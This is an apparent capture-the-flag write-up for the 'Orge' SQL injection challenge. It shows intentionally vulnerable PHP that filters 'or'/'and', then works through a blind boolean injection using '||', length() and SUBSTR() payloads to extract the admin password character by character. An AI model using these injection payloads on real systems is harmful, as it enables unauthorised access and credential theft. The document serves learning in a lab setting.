Orge

Blind-boolean based, enumerate password without using "OR" and "AND"

This challenge builds on the "Orc" challenge.

Code

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>

Line 5: preg_match filters the the use of 'OR' and 'AND'

Line 13: Query obtains a user-supplied value and assigns it to "pw",

Line 14: Then compares the user-supplied value to the "pw" value stored for the 'admin' user. If they are equal, the challenge will be solved.

Query

Testing

Vulnerable parameter is "pw".

pw=' || 1=1-- - returns "Hello guest" indicating a true statement.

Using "length"

The length of the string stored in "pw" can be derived using "length".

pw=' || length(pw)=1%23 returns nothing, indicating a false statement.

Incrementing the value sequentially eventually results in:

pw=' || length(pw)=8%23

which returns "Hello admin" indicating a true statement indicating the string is 8 characters long.

Using "SUBSTR"

By using "SUBSTR" the stored value can be guessed 1 character at a time.

pw=' || SUBSTR(pw, 1, 1)=0%23

  • ||: Logical operator 'OR'.

  • SUBSTR(pw, 1, 1)=0: This part is checking whether the first character of the pw (password) field is equal to 0.

  • %23: This is URL-encoded #.

In order to derive the stored value, each character can be enumerated individually by checking if the character in each start position is equal to a character in the ascii printable charset.

This is a tedious process.

Previously it was discovered that the stored string is 8 characters long so the process will need to be done 8 times, once for each character.

Steps

Checking if the first character of stored value is equal to 7 pw=' || SUBSTR(pw, 1, 1)=7%23 returns "Hello admin" : True

2nd character is equal to 'b' pw=' || SUBSTR(pw, 2, 1)=b%23

3rd character is equal to '7' pw=' || SUBSTR(pw, 3, 1)=7%23

4th character is equal to '5' pw=' || SUBSTR(pw, 4, 1)=5%23

5th character is equal to '1' pw=' || SUBSTR(pw, 5, 1)=1%23

6th character is equal to 'a' pw=' || SUBSTR(pw, 6, 1)=a%23

7th character is equal to 'e' pw=' || SUBSTR(pw, 7, 1)=e%23

8th character is equal to 'c' pw=' || SUBSTR(pw, 8, 1)=c%23

Incrementing the start position as each character is guessed eventually reveals the value stored of 7b751aec.

Finally, the challenge is solved with: pw=7b751aec

Effective Query

Python Script

Last updated